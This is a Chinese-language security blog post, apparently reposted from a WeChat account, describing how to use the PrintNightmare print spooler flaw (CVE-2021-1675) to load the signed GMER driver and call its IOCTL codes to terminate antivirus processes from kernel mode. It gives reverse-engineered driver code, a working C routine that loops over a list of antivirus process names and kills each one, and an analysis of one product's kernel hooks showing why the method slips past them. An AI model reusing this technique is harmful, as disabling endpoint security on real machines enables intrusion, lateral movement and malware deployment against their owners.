从CVE_2021_1675到关闭任意杀软

admin 2021年12月3日11:37:23评论184 views字数 8961阅读29分52秒阅读模式

前言

在进行实战攻防中,免杀是在突破边界防御后面临的首要问题,在通过建立据点,横向移动来扩大攻击成果的过程中,都有杀软在进行拦截,现在常用的免杀手法,例如反射型dll注入、直接系统调用、加密混淆等,都是在解决如何躲避杀软的查杀。而对于免杀来说,一劳永逸的解决方法,毫无疑问是在杀软的监控下关闭杀软。本文通过windows打印机漏洞(CVE_2021_1675)来加载签名驱动,并通过调用驱动的方式来实现从内核层关闭杀软。

一、加载驱动服务

加载驱动服务有两个问题,分别是如何绕过杀软加载驱动服务加载什么驱动服务

1、如何绕过杀软加载驱动服务

启动驱动程序的过程中,要新建驱动程序服务,此操作会被杀软拦截。

采用CVE_2021_1675来绕过杀软监控加载驱动服务。

CVE_2021_1675的原理是通过spoolsv.exe加载任意dll程序,因为spoolsv.exe是应用程序白名单,所以可以采用此白加黑的方式来进行驱动服务加载。

2、加载什么驱动服务

在windows中,对驱动进行的保护为主要有PG(PatchGuard)和DES数字签名检较

其中PG限制驱动程序禁止以下操作,否则会蓝屏或重新启动

对系统服务描述表进行修改或钩子(Hook)修改系统调用表修改中断描述表修改全局描述表使用未由内核分配的内核堆栈修改或修补内核本身、硬件抽象层(HAL)或网络驱动程序接口规范(NDIS)内核库中包含的代码

因为这些限制,要进行内核层的操作,需要带签名的驱动程序。并且驱动程序能调用ZwTerminateProcess函数进行关闭进程的操作,通过在网上找到GMER(http://www.gmer.net)的驱动程序,并进行逆向分析。

二、和驱动通信并关闭进程

GMER驱动分析

在windows中,关闭进程的内核函数都会调用ZwTerminateProcess函数,所以通过ida全局搜索ZwTerminateProcess字符串,来获取到驱动具体的调用ZwTerminateProcess函数的位置。

__int64 __fastcall new_TerminateProcess(unsigned int pid){  NTSTATUS v1; // eax  unsigned int v2; // ebx  struct _CLIENT_ID ClientId; // [rsp+30h] [rbp-78h] BYREF  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+40h] [rbp-68h] BYREF  struct _KAPC_STATE ApcState; // [rsp+70h] [rbp-38h] BYREF  PVOID Object; // [rsp+B8h] [rbp+10h] BYREF  void *ProcessHandle; // [rsp+C0h] [rbp+18h] BYREF
ClientId.UniqueThread = 0i64; ObjectAttributes.Length = 48; ObjectAttributes.RootDirectory = 0i64; ObjectAttributes.Attributes = 0; ObjectAttributes.ObjectName = 0i64; ObjectAttributes.SecurityDescriptor = 0i64; ObjectAttributes.SecurityQualityOfService = 0i64; ClientId.UniqueProcess = (HANDLE)pid;//pid传入的地方 KeStackAttachProcess(Process, &ApcState); v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); //通过pid打开具体的handle v2 = v1 == 0; if ( !v1 )//为成功打开句柄,执行下列操作 { if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0i64, 0, &Object, 0i64) ) { switch ( dword_1CE40 ) { case 1281: *((_DWORD *)Object + 146) &= 0xFFFFDFFF; break; case 1282: *((_DWORD *)Object + 144) &= 0xFFFFDFFF; break; case 1536: *((_DWORD *)Object + 138) &= 0xFFFFDFFF; break; case 1537: *((_DWORD *)Object + 156) &= 0xFFFFDFFF; break; case 1538: *((_DWORD *)Object + 154) &= 0xFFFFDFFF; break; } ObfDereferenceObject(Object); } v2 = ZwTerminateProcess(ProcessHandle, 0); //关闭handle ZwClose(ProcessHandle); } KeUnstackDetachProcess(&ApcState); return v2;}

通过查找此函数的调用链,找到与此函数通信的的IOCTL code为0x9876C094。

    case 0x9876C094:      if ( a3 != 4 || !a2 ) //判断输入buffer长度为4,且值不为0      {        *a7 = -1073741306;        return 3221225990i64;      }      v44 = new_TerminateProcess(*a2);//调用函数      v45 = a7;      *a7 = v44;      goto LABEL_171;

在应用层和驱动通信的函数DeviceIoControl的参数格式为

BOOL DeviceIoControl(  HANDLE       hDevice,         //通过CreateFile打开的驱动程序句柄  DWORD        dwIoControlCode,   //和驱动通信的code,这个参数会传入驱动中,并通过switch case语句来实现对驱动的函数调用  LPVOID       lpInBuffer, //输入参数指针  DWORD        nInBufferSize, //输入参数大小  LPVOID       lpOutBuffer, //输出参数指针  DWORD        nOutBufferSize, //输出参数大小  LPDWORD      lpBytesReturned,//指向变量的指针  LPOVERLAPPED lpOverlapped //指向OVERLAPPED结构的指针);

因此,通过逆向能获取到DeviceIoControl()函数的参数dwIoControlCode为0x9876C094,并且lpInBuffer为指向的值为PID,nInBufferSize的值也必须是4。

通过上面获取到的参数和驱动通信后,发现无法关闭进程,且返回的windows error code一直是87,即传入参数错误。通过继续逆向分析驱动发现,仅仅通过一次DeviceIoControl()还不够,GMER驱动还在执行terminateprocess函数之前,进行了一次初始化。

if ( a6 == 0x9876C004 )  // dword_1C120相当于驱动的开关,当IoControlCode是0x9876C004开启  {    v12 = dword_1C120;    if ( !dword_1C120 )      v12 = 1;    dword_1C120 = v12;  // 最终使得 dword_1C120 = v12 = 1  }  else  // 否则 v12 = dword_1C120 = 0  {    v12 = dword_1C120;  }  if ( !v12 )  // 如果v12 = 0,返回错误  {    *a7 = 0xC000000D;    *((_QWORD *)a7 + 1) = 0i64;    return 0xC000000Di64;  }  switch ( a6 )  {        case 0x9876C004:  // 通知用户空间进程,驱动功能开启      if ( a5 >= 4 && a4 )      {        *(_DWORD *)a4 = 1;        *((_QWORD *)a7 + 1) = 4i64;        *a7 = 0;        result = 0i64;      }      else      {        *a7 = -1073741306;        result = 3221225990i64;      }      return result;
... case 0x9876C094: // new_TerminateProcess if ( a3 != 4 || !a2 ) { *a7 = -1073741306; return 3221225990i64; } v44 = TerminateProcess(*a2); v45 = a7; *a7 = v44; goto LABEL_171; }

因此,必须在调用函数之前调用0x9876C004进行初始化。

最后进行驱动调用的函数为

VOID TerminateProcessByDriver(LPTSTR driverName, DWORD pid) {    HANDLE hDriver = INVALID_HANDLE_VALUE;    TCHAR driverPath[MAX_PATH] = _T("\\.\");
_tcscat_s(driverPath, MAX_PATH, driverName); hDriver = CreateFile(driverPath, GENERIC_ALL, 0, NULL, OPEN_EXISTING, 0, NULL); //打开驱动程序的句柄 if (hDriver == INVALID_HANDLE_VALUE) { _tprintf(_T("[-] Driver open failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError()); return; } else { BOOL bResult = FALSE; DWORD junk = 0; DWORD dwOut = 0;
bResult = DeviceIoControl(hDriver, IOCTL_INIT, &pid, sizeof(pid), &dwOut, sizeof(dwOut), &junk, (LPOVERLAPPED)NULL);//对驱动程序进行初始化
if (!bResult) { _tprintf(_T("[-] Init failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError()); CloseHandle(hDriver); return; } else if (pid == 0) { for (DWORD index = 0;index < AV_LIST_LEN; index++) { DWORD dwPid = 0; if (GetProcessIdByName((LPTSTR)AV_LIST[index], &dwPid)) { //通过传入的进程名来获取pid bResult = DeviceIoControl(hDriver, IOCTL_ZwTerminateProcess, &dwPid, sizeof(dwPid), &dwOut, sizeof(dwOut), &junk, (LPOVERLAPPED)NULL); //调用TerminateProcess来关闭pid进程
if (bResult) _tprintf(_T("[+] Terminate process succeed %s(%u)n"), (LPTSTR)AV_LIST[index], dwPid); } else _tprintf(_T("[-] Not found %s processn"), (LPTSTR)AV_LIST[index]); } } else { bResult = DeviceIoControl(hDriver, IOCTL_ZwTerminateProcess, &pid, sizeof(pid), &dwOut, sizeof(dwOut), &junk, (LPOVERLAPPED)NULL);//根据传入的pid来关闭进程
if (bResult) { _tprintf(_T("[+] Terminate process succeed %dn"), pid); CloseHandle(hDriver); } else { _tprintf(_T("[-] Terminate process failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError()); CloseHandle(hDriver); ExitProcess(1); } } }}

三、驱动如何绕过杀软在内核态的防御

此处以某杀软为例,来分析此方法是如何绕过杀软拦截的。

杀软在内核态中对应用层的防护主要是通过对Zw函数的hook实现,win32 api先调用对应ntdll.dll中的nt函数,再通过ntdll.dll调用Ntoskrnl.exe中的内核Zw函数,杀软通过对Zw函数hook,来实现对应用层所有调用Zw函数的win32 api函数的hook。

在杀软的驱动中,实现了对Zw函数的hook,其中ZwTerminateProcess函数的过滤规则是下面的方法实现。

int __stdcall sub_197B2(int a1, int a2, int a3, int a4){  KPROCESSOR_MODE v4; // al  int v5; // esi  HANDLE v6; // eax  HANDLE v7; // edi  HANDLE v8; // eax  HANDLE v9; // eax  PKTHREAD v10; // eax  HANDLE v11; // eax  KPROCESSOR_MODE v12; // al  HANDLE v13; // esi  HANDLE v15; // esi  int v16; // [esp-4h] [ebp-2Ch]  char ProcessInformation[20]; // [esp+Ch] [ebp-1Ch] BYREF  void *v18; // [esp+20h] [ebp-8h]  PVOID Object; // [esp+24h] [ebp-4h] BYREF
v4 = ExGetPreviousMode(); //是否是来自应用层的调用 v5 = a2; if ( v4 == 1 && Safe_GetGrantedAccess(*(HANDLE *)a2, (int)&a2) >= 0 && (a2 & 1) == 0 )//获取结束进程句柄 { if ( Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束目标是否是保护进程 { v6 = PsGetCurrentProcessId(); if ( !Safe_QueryWhitePID(v6) )//调用者是否是保护进程 { v7 = PsGetCurrentProcessId(); if ( Safe_CmpImageFileName("taskkill.exe") )//判断是否是用dos命令来结束进程 { if ( ZwQueryInformationProcess((HANDLE)0xFFFFFFFF, ProcessBasicInformation, ProcessInformation, 0x18u, 0) >= 0 ) v7 = v18;//获取父进程pid } v16 = Safe_GetUniqueProcessId(*(HANDLE *)v5); v8 = PsGetCurrentThreadId(); safe_judge(v7, v8, v16);//判断是否是用任务管理器来结束进程,并对程序进行拦截或着是放行 return -1073741790; //denied } } } v9 = PsGetCurrentProcessId();//判断是否是由csrss.exe来结束进程 if ( !Safe_QueryWhitePID(v9)//查询当前进程是否是白名单 && Safe_CmpImageFileName("csrss.exe")//进程是否是csrss.exe && g_Win2K_XP_2003_Flag //windows高版本 && !*(_DWORD *)(v5 + 4) && Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束的目标进程是否是白名单 { return -1073741790;//denied } if ( *(_DWORD *)v5 != -1 //非自身 || KeGetCurrentIrql() == 1 //irql中断等级 || (v10 = KeGetCurrentThread(), !Safe_QueryWhitePID_PsGetThreadProcessId(v10)) )//调用者非白名单 { v11 = *(HANDLE *)v5; if ( !*(_DWORD *)v5 || v11 == (HANDLE)-1 ) //检查是否获取到句柄 { Object = IoGetCurrentProcess(); } else { if ( !Safe_QueryObjectType(v11, (wchar_t *)L"Process") )//句柄不是process类型就退出 return 0; v12 = ExGetPreviousMode();//获取eprocess结构 if ( ObReferenceObjectByHandle(*(HANDLE *)v5, 0, (POBJECT_TYPE)PsProcessType, v12, &Object, 0) < 0 ) return 0; } if ( Safe_QueryWhitePID_PsGetProcessId(Object) && (KeGetCurrentIrql() == 1 || !ExGetPreviousMode()) ) { v13 = *(HANDLE *)v5; if ( v13 && v13 != (HANDLE)-1 ) ObfDereferenceObject(Object);//对象的引用计数减一 return -1073741790;//denied } v15 = *(HANDLE *)v5; if ( v15 && v15 != (HANDLE)-1 ) ObfDereferenceObject(Object); } return 0;}

因为通过驱动调用的Zw函数是从内核层进行的调用,所以跳过了对参数的检查,实现了关闭程序的功能。

杀软hook的Zw函数还有下面这些。

//创建文件#define ZwCreateFile_FilterIndex                            0x8//写文件#define    ZwWriteFile_FilterIndex                                0xB//创建进程#define    ZwCreateProcess_FilterIndex                            0xD//创建进程Ex#define    ZwCreateProcessEx_FilterIndex                        0xE//创建线程#define ZwCreateThread_FilterIndex                            0x10 //打开线程#define ZwOpenThread_FilterIndex                            0x11//删除文件#define ZwDeleteFile_FilterIndex                            0x12//打开文件#define ZwOpenFile_FilterIndex                                0x13 //结束进程#define ZwTerminateProcess_FilterIndex                        0x15 //跨进程写内容#define ZwWriteVirtualMemory_FilterIndex                    0x1A//创建文件映射#define ZwCreateSection_FilterIndex                            0x1E//打开section object#define ZwOpenSection_FilterIndex                            0x1F//创建符号链接#define ZwCreateSymbolicLinkObject_FilterIndex                0x20//加载驱动#define ZwLoad_Un_Driver_FilterIndex                        0x22//加载驱动#define ZwSetSystemInformation_FilterIndex                    0x24//设置时间#define ZwSetSystemTime_FilterIndex                         0x25//打开进程#define ZwOpenProcess_FilterIndex                            0x2F//打开注册表键值#define ZwOpenKey_FilterIndex                                0x32//拷贝句柄#define ZwZwDuplicateObject_FilterIndex                        0x33//RPC通讯#define ZwAlpcSendWaitReceivePort_FilterIndex               0x44//进程回调#define    CreateProcessNotifyRoutine_FilterIndex                0x45//取消映射目标进程的内存#define ZwUnmapViewOfSection_FilterIndex                    0x46//拦截DLL注入的#define    ClientLoadLibrary_FilterIndex                        0x4B//分配空间#define ZwAllocateVirtualMemory_FilterIndex                    0x4E//打开互斥体#define ZwOpenMutant_FilterIndex                            0x51//遍历线程#define ZwGetNextThread_FilterIndex                            0x53//遍历进程#define ZwGetNextProcess_FilterIndex                        0x54//枚举valuekey#define ZwEnumerateValueKey_FilterIndex                        0x59//永久对象转化成临时对象#define ZwMakeTemporaryObject_FilterIndex                   0x7F//线程挂起#define ZwSuspendThread_FilterIndex                            0x93//进程挂起#define    ZwSuspendProcess_FilterIndex                        0x94//取消映射目标进程的内存 Win8~Win10#define ZwUnmapViewOfSectionIndex_Win8_Win10_FilterIndex    0x96


PS:以后我们会在公众号中分享我们的安全技术研究,希望大家不要吝啬点赞和关注,您的支持是对我们最大的鼓励


从CVE_2021_1675到关闭任意杀软


本文始发于微信公众号(白帽技术与网络安全):从CVE_2021_1675到关闭任意杀软

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月3日11:37:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从CVE_2021_1675到关闭任意杀软https://cn-sec.com/archives/425202.html

发表评论

匿名网友 填写信息